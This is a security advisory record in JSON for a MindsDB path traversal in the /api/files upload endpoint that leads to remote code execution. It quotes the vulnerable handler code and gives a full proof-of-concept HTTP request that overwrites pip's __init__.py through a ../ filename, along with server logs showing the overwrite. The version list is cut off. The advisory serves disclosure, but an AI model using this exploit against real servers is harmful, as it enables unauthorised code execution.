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12 KiB
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1 line
12 KiB
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{"schema_version":"1.9.0","id":"GHSA-4894-xqv6-vrfq","published":"2026-02-24T20:07:58Z","modified":"2026-07-13T07:26:30.532706830Z","aliases":["CVE-2026-27483","PYSEC-2026-2205"],"summary":"MindsDB: Path Traversal in /api/files Leading to Remote Code Execution","details":"### Summary\n\nThere is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.\n\n### Details\n\nThe vulnerability exists in the \"Upload File\" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:\n```python\n@ns_conf.route(\"/<name>\")\n@ns_conf.param(\"name\", \"MindsDB's name for file\")\nclass File(Resource):\n @ns_conf.doc(\"put_file\")\n @api_endpoint_metrics('PUT', '/files/file')\n def put(self, name: str):\n \"\"\"add new file\n params in FormData:\n - file\n - original_file_name [optional]\n \"\"\"\n\n data = {}\n mindsdb_file_name = name\n\n existing_file_names = ca.file_controller.get_files_names()\n\n def on_field(field):\n name = field.field_name.decode()\n value = field.value.decode()\n data[name] = value\n\n file_object = None\n\n def on_file(file):\n nonlocal file_object\n data[\"file\"] = file.file_name.decode()\n file_object = file.file_object\n\n temp_dir_path = tempfile.mkdtemp(prefix=\"mindsdb_file_\")\n\n if request.headers[\"Content-Type\"].startswith(\"multipart/form-data\"):\n parser = multipart.create_form_parser(\n headers=request.headers,\n on_field=on_field,\n on_file=on_file,\n config={\n \"UPLOAD_DIR\": temp_dir_path.encode(), # bytes required\n \"UPLOAD_KEEP_FILENAME\": True,\n \"UPLOAD_KEEP_EXTENSIONS\": True,\n \"MAX_MEMORY_FILE_SIZE\": 0,\n },\n )\n\n while True:\n chunk = request.stream.read(8192)\n if not chunk:\n break\n parser.write(chunk)\n parser.finalize()\n parser.close()\n\n if file_object is not None:\n if not file_object.closed:\n try:\n file_object.flush()\n except (AttributeError, ValueError, OSError):\n logger.debug(\"Failed to flush file_object before closing.\", exc_info=True)\n file_object.close()\n file_object = None\n else:\n data = request.json\n```\nSince the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.\n\n\n### PoC\n\nThis vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.\n\nThe API endpoint /<handler_name>/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:\n\n1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script.\n2. Trigger the execution of the malicious script by calling /<handler_name>/install, which invokes pip.\n \nExploit：\n```\nPUT /api/files/mm HTTP/1.1\nHost: ip:47334\nContent-Length: 579\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9\nOrigin: http://ip:47334\nReferer: http://ip:47334/fileUpload\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh,en;q=0.9,zh-CN;q=0.8\nCookie: bid=87948125-5042-4fc8-a692-9cbf71e387be\nConnection: keep-alive\n\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"name\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source_type\"\n\nfile\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py\"\nContent-Type: text/plain\n\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9--\n```\nAfter sending this request, you can observe the logs in Docker's output:\n```\n2025-05-30 02:26:52,432 http INFO python_multipart.multipart: Opening a file on disk\n2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0'\n2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py'\n```\nAt this point, you can see that the file has been successfully overwritten:\n```\nroot@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n```\nAfterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.\n\n### Credit\n\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.","affected":[{"package":{"name":"mindsdb","ecosystem":"PyPI","purl":"pkg:pypi/mindsdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"25.9.1.1"}]}],"versions":["0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.8.9.1","0.8.9.2","0.8.9.3","0.8.9.4","0.8.9.5","0.8.9.6","0.8.9.7","0.8.9.8","0.9.0.0","0.9.0.1","0.9.1.0","0.9.2.0","1.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.2","1.1.3","1.1.7","1.1.9","1.10.0","1.10.2","1.10.3","1.11.0","1.11.2","1.11.3","1.11.4","1.11.5","1.11.8","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.12.7","1.12.8","1.12.9","1.13.0","1.13.10","1.13.11","1.13.12","1.13.15","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.13.7","1.13.8","1.13.9","1.14.0","1.14.1","1.14.2","1.14.3","1.14.4","1.15.1","1.15.2","1.15.6","1.16.0","1.16.1","1.16.2","1.17.0","1.17.1","1.17.2","1.17.3","1.17.4","1.17.6","1.17.8","1.17.9","1.18.0","1.18.1","1.18.2","1.18.3","1.18.5","1.18.6","1.18.7","1.19.0","1.19.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.8","1.2.9","1.20.0","1.20.1","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.24.2","1.25.0","1.25.1","1.25.2","1.26.0","1.26.1","1.26.2","1.26.3","1.26.4","1.26.5","1.27.0","1.27.1","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4.0","1.4.1","1.4.10","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.9","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.12","1.6.13","1.6.15","1.6.17","1.6.18","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.10","1.7.11","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.2","1.7.20","1.7.21","1.7.22","1.7.23","1.7.3","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.2","1.9.0","1.9.1","1.9.2","1.9.3","1.9.5","1.9.6","1.99.0","1.99.1","1.99.10","1.99.11","1.99.3","1.99.4","1.99.5","1.99.6","1.99.7","1.99.8","1.99.9","2.0.0","2.1.0","2.1.2","2.10.0","2.10.1","2.10.2","2.11.0","2.11.1","2.11.2","2.11.4","2.12.0","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.13.5","2.13.6","2.13.7","2.13.8","2.14.0","2.15.0","2.17.1","2.18.0","2.19.0","2.19.1","2.19.2","2.19.4","2.19.5","2.2.0","2.2.1","2.20.0","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3","2.22.0","2.22.1","2.22.2","2.23.0","2.24.0","2.24.1","2.25.0","2.25.1","2.25.2","2.25.3","2.26.0","2.27.0","2.28.0","2.3.0","2.30.0","2.30.1","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.36.0","2.37.0","2.38.0","2.39.0","2.4.0","2.40.0","2.41.1","2.41.2","2.42.0","2.42.1","2.42.2","2.43.0","2.44.0","2.45.0","2.45.1","2.45.2","2.5.0","2.50.0","2.51.0","2.51.1","2.51.2","2.52.0","2.53.0","2.54.0","2.55.0","2.55.1","2.55.2","2.56.0","2.57.0","2.58.0","2.58.1","2.58.2","2.58.3","2.59.0","2.6.0","2.6.1","2.60.0","2.60.1","2.61.0","2.62.0","2.62.1","2.62.2","2.62.3","2.62.4","2.7.0","2.7.1","2.7.2","2.8.0","2.8.1","2.8.3","2.9.0","2.9.1","22.1.4.0","22.1.4.1","22.10.2.0","22.10.2.1","22.11.3.0","22.11.3.2","22.11.4.0","22.11.4.1","22.11.4.2","22.11.4.3","22.12.4.0","22.12.4.2","22.12.4.3","22.2.1.0","22.2.1.2","22.2.2.0","22.2.2.1","22.2.4.0","22.2.4.1","22.3.1.0","22.3.3.0","22.3.4.0","22.3.4.1","22.3.4.2","22.3.4.3","22.3.5.0","22.4.2.0","22.4.2.1","22.4.2.2","22.4.3.0","22.4.5.0","22.5.1.0","22.5.1.1","22.5.1.2","22.5.2.0","22.5.4.0","22.6.1.0","22.6.1.1","22.6.1.2","22.6.2.0","22.6.2.1","22.6.2.2","22.7.3.0","22.7.3.1","22.7.3.2","22.7.3.3","22.7.3.4","22.7.4.0","22.7.4.1","22.7.5.0","22.7.5.1","22.8.2.0","22.8.2.1","22.8.3.0","22.8.3.1","22.8.4.0","22.8.4.1","22.8.5.0","22.9.3.0","22.9.3.1","22.9.4.0","22.9.5.1","22.9.5.2","22.9.5.3","22.9.5.4","23.1.3.0","23.1.3.1","23.1.3.2","23.1.5.0","23.10.2.0","23.10.3.0","23.10.3.1","23.10.5.0","23.11.1.0","23.11.4.0","23.11.4.1","23.11.4.4a6","23.12.4.0","23.12.4.1","23.12.4.2","23.2.1.0","23.2.2.1","23.2.3.0","23.2.3.1","23.2.4.0","23.2.4.1","23.2.4.2","23.2.4.3","23.3.2.0","23.3.3.0","23.3.3.1","23.3.3.2","23.3.3.3","23.3.3.4","23.3.3.5","23.3.4.0","23.3.5.0","23.4.3.0","23.4.3.1","23.4.3.2","23.4.4.0","23.4.4.1","23.4.4.2","23.4.4.3","23.4.4.4","23.5.3.1","23.5.3.2","23.5.4.1","23.6.1.1","23.6.2.0","23.6.3.0","23.6.3.1","23.6.4.0","23.6.5.0","23.6.5.1","23.7.1.0","23.7.2.0","23.7.3.1","23.7.4.0","23.7.4.1","23.8.1.0","23.8.3.0","23.9.1.0","23.9.1.1","23.9.2.0","23.9.2.1","23.9.3.0","23.9.3.1","24.1.4.0","24.10.1.0","24.10.2.0","24.10.3.0","24.10.4.0","24.10.4.1","24.10.4.2","24.10.5.0","24.11.1.0","24.11.1.1","24.11.2.0","24.11.3.0","24.11.4.0","24.11.4.1","24.11.4.2","24.12.1.0","24.12.2.0","24.12.2.1","24.12.2.2","24.12.3.0","24.12.4.0","24.2.3.0","24.3.4.0","24.3.4.1","24.3.4.2","24.3.5.0","24.4.2.0","24.4.2.1","24.4.3.0","24.5.4.0","24.6.1.0","24.6.1.1","24.6.2.0","24.6.2.2","24.6.3.0","24.6.3.1","24.6.4.1","24.7.1.0","24.7.2.0","24.7.3.0","24.7.4.0","24.7.4.1","24.7.5.0","24.8.1.0","24.8.1.1","24.8.2.0","24.8.3.0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